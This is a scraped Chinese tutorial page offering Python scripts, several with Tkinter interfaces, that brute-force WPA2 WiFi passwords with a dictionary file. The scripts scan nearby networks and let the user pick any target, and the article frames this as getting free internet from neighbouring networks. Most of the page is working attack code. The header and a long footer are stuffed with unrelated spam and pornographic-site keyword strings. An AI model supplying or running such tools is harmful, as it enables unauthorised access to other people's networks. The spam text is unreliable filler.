婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > python攻防-破解附近局域網WIFI密碼實現上網自由

python攻防-破解附近局域網WIFI密碼實現上網自由

熱門標簽:ai電話機器人哪里好 地圖標注審核表 百度地圖標注沒有了 西藏房產智能外呼系統要多少錢 湛江智能外呼系統廠家 外呼并發線路 長沙高頻外呼系統原理是什么 ai電銷機器人源碼 宿遷星美防封電銷卡

無圖形界面

先來看看沒有圖形界面版的爆破腳本。

WIFI爆破

import pywifi
from pywifi import const
import time
import datetime
# 測試連接,返回鏈接結果
def wifiConnect(pwd):
    # 抓取網卡接口
    wifi = pywifi.PyWiFi()
    # 獲取第一個無線網卡
    ifaces = wifi.interfaces()[0]
    # 斷開所有連接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 創建WiFi連接文件
        profile = pywifi.Profile()
        # 要連接WiFi的名稱
        profile.ssid = "Tr0e"
        # 網卡的開放狀態
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法為wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密單元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 調用密碼
        profile.key = pwd
        # 刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        # 設定新的連接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi連接時間
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接")

# 讀取密碼本
def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    # 密碼本路徑
    path = "pwd.txt"
    # 打開文件
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # 去除密碼的末尾換行符
            pwd = pwd.strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密碼已破解:", pwd)
                print("[*] WiFi已自動連接!!!")
                success = True
                break
            else:
                # 跳出當前循環,進行下一次循環
                print("正在破解 SSID 為 %s 的 WIFI密碼,當前校驗的密碼為:%s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start))
    else:
        print("[*] 很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典后重新嘗試!")
    exit(0)
if __name__=="__main__":
    readPassword()

代碼運行效果:

腳本優化

以上腳本需內嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進行改造優化:

import pywifi
import time
from pywifi import const
# WiFi掃描模塊
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一個無線網卡
    interface = wifi.interfaces()[0]
    # 開始掃描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r掃描可用 WiFi 中,請稍后。。。(' + str(3 - i), end=')')
    print('\r掃描完成!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名'))
    # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解決亂碼問題
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信號排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化輸出
    while num  len(wifi_name_list):
        print('\r{:6d}{:8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list
# WIFI破解模塊
def wifi_password_crack(wifi_name):
    # 字典路徑
    wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:")
    with open(wifi_dic_path, 'r') as f:
        # 遍歷密碼
        for pwd in f:
            # 去除密碼的末尾換行符
            pwd = pwd.strip('\n')
            # 創建wifi對象
            wifi = pywifi.PyWiFi()
            # 創建網卡對象,為第一個wifi網卡
            interface = wifi.interfaces()[0]
            # 斷開所有wifi連接
            interface.disconnect()
            # 等待其斷開
            while interface.status() == 4:
                # 當其處于連接狀態時,利用循環等待其斷開
                pass
            # 創建連接文件(對象)
            profile = pywifi.Profile()
            # wifi名稱
            profile.ssid = wifi_name
            # 需要認證
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默認加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密碼
            profile.key = pwd
            # 刪除所有wifi連接文件
            interface.remove_all_network_profiles()
            # 設置新的wifi連接文件
            tmp_profile = interface.add_network_profile(profile)
            # 開始嘗試連接
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time  1.5:
                # 接口狀態為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢)
                if interface.status() == 4:
                    print(f'\r連接成功!密碼為:{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')
# 主函數
def main():
    # 退出標致
    exit_flag = 0
    # 目標編號
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi萬能鑰匙'.center(35, '-'))
            # 調用掃描模塊,返回一個排序后的wifi列表
            wifi_list = wifi_scan()
            # 讓用戶選擇要破解的wifi編號,并對用戶輸入的編號進行判斷和異常處理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('請選擇你要嘗試破解的wifi:'))
                    # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入
                    if target_num in range(len(wifi_list)):
                        # 二次確認
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
                                # 對用戶輸入進行小寫處理,并判斷
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 處理用戶其它字母輸入
                                else:
                                    print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 處理用戶非字母輸入
                            except ValueError:
                                print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                        # 退出破解
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('請重新輸入哦(*^▽^*)')
                except ValueError:
                    print('只能輸入數字哦o(* ̄︶ ̄*)o')
            # 密碼破解,傳入用戶選擇的wifi名稱
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e
if __name__ == '__main__':
    main()

腳本運行效果如下:

上述代碼實現了

  • 依據信號強度枚舉當前附近的所有 WIFI 名稱,
  • 并且可供用戶自主選擇需要暴力破解的 WIFI,
  • 同時還可靈活指定暴力破解的字典,

相對而言體驗感提升了不少。進一步也可以將上述腳本打包生成 exe 文件,雙擊運行效果如下:

圖形化界面

下面基于 Python 的 GUI 圖形界面開發庫 Tkinter 優化上述腳本,實現友好的可視化 WIFI 暴力破解界面工具。

簡單版UI

from tkinter import *
from pywifi import const
import pywifi
import time
# 主要步驟:
# 1、獲取第一個無線網卡
# 2、斷開所有的wifi
# 3、讀取密碼本
# 4、設置睡眠時間
def wificonnect(str, wifiname):
    # 窗口無線對象
    wifi = pywifi.PyWiFi()
    # 抓取第一個無線網卡
    ifaces = wifi.interfaces()[0]
    # 斷開所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 創建wifi連接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifi的密碼
        profile.key = str
        # 網卡的開發
        profile.auth = const.AUTH_ALG_OPEN
        # 加密單元,這里需要寫點加密單元否則無法連接
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 刪除所有的wifi文件
        ifaces.remove_all_network_profiles()
        # 設置新的連接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 連接
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
def readPwd():
    # 獲取wiif名稱
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            # 讀取
            mystr = file.readline().strip()
            # 測試連接
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密碼正確' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密碼錯誤' + mystr)
                text.see(END)
                text.update()
        except:
            continue
# 創建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 標簽
label = Label(root, text='輸入要破解的WIFI名稱:')
# 定位
label.grid()
# 輸入控件
entry = Entry(root, font=('微軟雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微軟雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按鈕
button = Button(root, text='開始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 顯示窗口
root.mainloop()

腳本運行效果:

UI升級版

以上圖形界面未允許選擇密碼字典,下面進行優化升級:

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打開文件瀏覽
import tkinter.messagebox  # 打開tkiner的消息提醒框
class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密碼文件路徑
        self.get_value = StringVar()  # 設置可變內容
        # 獲取破解wifi賬號
        self.get_wifi_value = StringVar()
        # 獲取wifi密碼
        self.get_wifimm_value = StringVar()
        # 抓取網卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一個無線網卡
        self.iface = self.wifi.interfaces()[0]
        # 測試鏈接斷開所有鏈接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 測試網卡是否屬于斷開狀態
        assert self.iface.status() in \

               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def __str__(self):
        # 自動會調用的函數,返回自身的網卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 設置窗口
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下對象都是對于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi賬號:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定義樹形結構與滾動條
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的標題
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)
    # 搜索wifi
    def scans_wifi_list(self):  # 掃描周圍wifi列表
        # 開始掃描
        print("^_^ 開始掃描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后獲取掃描結果
        scanres = self.iface.scan_results()
        # 統計附近被發現的熱點數量
        nums = len(scanres)
        print("數量: %s" % (nums))
        # 實際數據
        self.show_scans_wifi_list(scanres)
        return scanres
    # 顯示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
    # 添加密碼文件目錄
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)
    # Treeview綁定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 讀取密碼字典,進行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功?。?!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密碼錯誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue
    # 對wifi和密碼進行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 創建wifi鏈接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名稱
        self.profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
        self.profile.key = pwd_Str  # 密碼
        self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 設定新的鏈接文件
        self.iface.connect(self.tmp_profile)  # 鏈接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 斷開
        time.sleep(1)
        # 檢查斷開狀態
        assert self.iface.status() in \

               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK
def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()
if __name__ == "__main__":
    gui_start()

腳本運行效果如下:

所演示的代碼的不足在于均沒有使用多線程進行 WIFI 連接測試,實際上因為 WIFI 連接測試需要一定的耗時(3-5秒),故使用多線程將能減少暴力破解過程的等待時間。

本文學習了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎使用。以上基于 Python 的 GUI 圖形界面開發庫 Tkinter,實際上 Python 的 GUI 編程可以借助 PyQt5 來自動生成 UI 代碼。教程資料請關注腳本之家其它相關文章!

您可能感興趣的文章:
  • 使用PyQt5設計GUI實現程序圖形界面設計
  • 如何用Python破解wifi密碼過程詳解
  • Python爬取破解無線網絡wifi密碼過程解析
  • Python腳本暴力破解柵欄密碼
  • 如何利用python和DOS獲取wifi密碼

標簽:南平 大同 普洱 寧夏 漯河 海南 盤錦 林芝

巨人網絡通訊聲明:本文標題《python攻防-破解附近局域網WIFI密碼實現上網自由》,本文關鍵詞  python,攻防,破解,附近,局域網,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《python攻防-破解附近局域網WIFI密碼實現上網自由》相關的同類信息!
  • 本頁收集關于python攻防-破解附近局域網WIFI密碼實現上網自由的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    欧美色涩在线第一页| 国产精品不卡视频| 日韩一区二区在线免费观看| 亚洲一区二区综合| 欧美在线观看一区二区| 亚洲摸摸操操av| 日本乱人伦aⅴ精品| 亚洲男人的天堂网| 51午夜精品国产| 国产曰批免费观看久久久| 久久久久久黄色| 不卡高清视频专区| 亚洲精品免费在线| 欧美高清视频一二三区| 国产在线视频一区二区| 国产精品久久久久久户外露出| 99国产精品久久久久久久久久| 亚洲精品国产a久久久久久| 欧美性猛交xxxxxxxx| 美腿丝袜亚洲三区| 中文字幕在线一区| 欧美日韩国产首页| 国产成人精品影视| 亚洲一区二区综合| 国产日韩精品一区二区三区在线| 色婷婷综合久久久久中文一区二区| 五月天欧美精品| 久久久天堂av| 欧美日韩亚洲综合在线 | 日韩一级高清毛片| 成人一区在线看| 亚洲国产成人高清精品| 久久久精品国产99久久精品芒果 | 午夜精品久久久久久| 欧美一级夜夜爽| 成人久久久精品乱码一区二区三区| 亚洲图片一区二区| 国产精品国产三级国产普通话蜜臀| 欧美精品色综合| 91日韩精品一区| 国产成人综合亚洲网站| 三级久久三级久久| 亚洲免费电影在线| 亚洲国产精品v| 欧美v国产在线一区二区三区| 欧美在线观看一区二区| av电影在线观看不卡| 国产一本一道久久香蕉| 日本欧美久久久久免费播放网| 亚洲精品视频在线| 亚洲日本乱码在线观看| 久久久三级国产网站| 欧美一级片在线| 欧美日韩国产欧美日美国产精品| 成人黄色777网| 国产传媒欧美日韩成人| 国产精品一线二线三线| 激情都市一区二区| 国产麻豆成人精品| 国产一区二区在线视频| 激情五月婷婷综合| 国产制服丝袜一区| 成人性生交大合| 国产精品主播直播| 国产美女在线观看一区| 国产精品一二三区在线| 狠狠色丁香婷婷综合| 极品少妇xxxx偷拍精品少妇| 久久精品二区亚洲w码| 麻豆freexxxx性91精品| 麻豆精品国产传媒mv男同 | 色婷婷av一区二区三区gif| 成人性视频网站| 成人少妇影院yyyy| 成人免费高清在线| 成人激情电影免费在线观看| 99视频一区二区三区| 91在线观看污| 日本丶国产丶欧美色综合| 91高清在线观看| 欧美三区在线观看| 精品日韩在线一区| 中文字幕欧美日韩一区| 久久美女艺术照精彩视频福利播放| 精品国产1区2区3区| 国产精品网曝门| 亚洲精品免费播放| 午夜精品久久久久久不卡8050| 毛片av一区二区| 成人午夜精品一区二区三区| 91极品美女在线| 精品伦理精品一区| 亚洲欧洲一区二区在线播放| 亚洲精品国产视频| 麻豆视频一区二区| 99这里只有精品| 日韩亚洲欧美一区| 国产欧美日韩不卡| 亚洲专区一二三| 国产在线视频一区二区| 91丨九色丨国产丨porny| 成人精品高清在线| 日本韩国欧美一区二区三区| 日韩欧美一区二区在线视频| 国产免费观看久久| 亚洲国产欧美在线人成| 国产精品白丝jk白祙喷水网站| 99综合影院在线| 日韩一区二区视频| 1024精品合集| 另类人妖一区二区av| 91浏览器在线视频| 国产亚洲一本大道中文在线| 午夜视频一区在线观看| av欧美精品.com| 日韩网站在线看片你懂的| 一区二区三区在线观看网站| 亚洲欧美日韩一区二区| 日韩精品一区二区三区老鸭窝| 亚洲国产岛国毛片在线| 美女视频一区在线观看| 日本韩国精品在线| 亚洲欧洲另类国产综合| 国产精品影视天天线| 日韩欧美色电影| 亚洲一区二区精品视频| 91影视在线播放| 欧美激情中文字幕一区二区| 美国十次了思思久久精品导航| 欧美日韩亚洲另类| 亚洲一卡二卡三卡四卡无卡久久| 成人a级免费电影| 欧美精品一区二区三区蜜桃| 婷婷丁香久久五月婷婷| 欧美视频中文一区二区三区在线观看| 国产精品欧美久久久久无广告| 国产美女主播视频一区| 欧美精品一区二区三区在线| 美女视频黄 久久| 欧美日韩成人高清| 亚洲高清免费观看高清完整版在线观看| 不卡av免费在线观看| 中文字幕日韩av资源站| 99精品一区二区三区| 久久久精品国产免费观看同学| 国产丶欧美丶日本不卡视频| 亚洲国产高清在线观看视频| 国产99久久久国产精品免费看| 欧美国产精品v| aaa亚洲精品一二三区| 亚洲乱码一区二区三区在线观看| 色噜噜夜夜夜综合网| 亚洲黄色性网站| 91精品综合久久久久久| 九九精品视频在线看| 亚洲国产精品高清| 在线亚洲免费视频| 视频一区视频二区中文| 日韩女优制服丝袜电影| 国产成人日日夜夜| 亚洲久草在线视频| 日韩欧美自拍偷拍| 成人激情免费视频| 亚洲妇熟xx妇色黄| 久久一区二区三区四区| 国产大陆a不卡| 亚洲综合色成人| 精品国产区一区| 91色porny蝌蚪| 日韩精品成人一区二区在线| 日韩一区二区免费在线电影| 国产aⅴ精品一区二区三区色成熟| 中文久久乱码一区二区| 欧美日韩国产另类一区| 粉嫩嫩av羞羞动漫久久久| 亚洲国产日韩综合久久精品| 久久久精品日韩欧美| 在线播放亚洲一区| 另类调教123区| 亚洲一区二区欧美| 国产日产精品1区| 7777精品伊人久久久大香线蕉完整版 | 欧美二区在线观看| 国产一区二区不卡| 天天av天天翘天天综合网色鬼国产| 久久嫩草精品久久久精品一| 91国产成人在线| 成人午夜电影网站| 一区二区三区美女视频| 久久男人中文字幕资源站| 在线观看中文字幕不卡| 国产成人在线免费观看| 婷婷夜色潮精品综合在线| 亚洲视频狠狠干| 国产午夜精品一区二区三区视频 | 欧美日韩国产123区| 成人午夜激情视频| 国产高清在线观看免费不卡| 久久99国产精品成人| 天堂在线一区二区|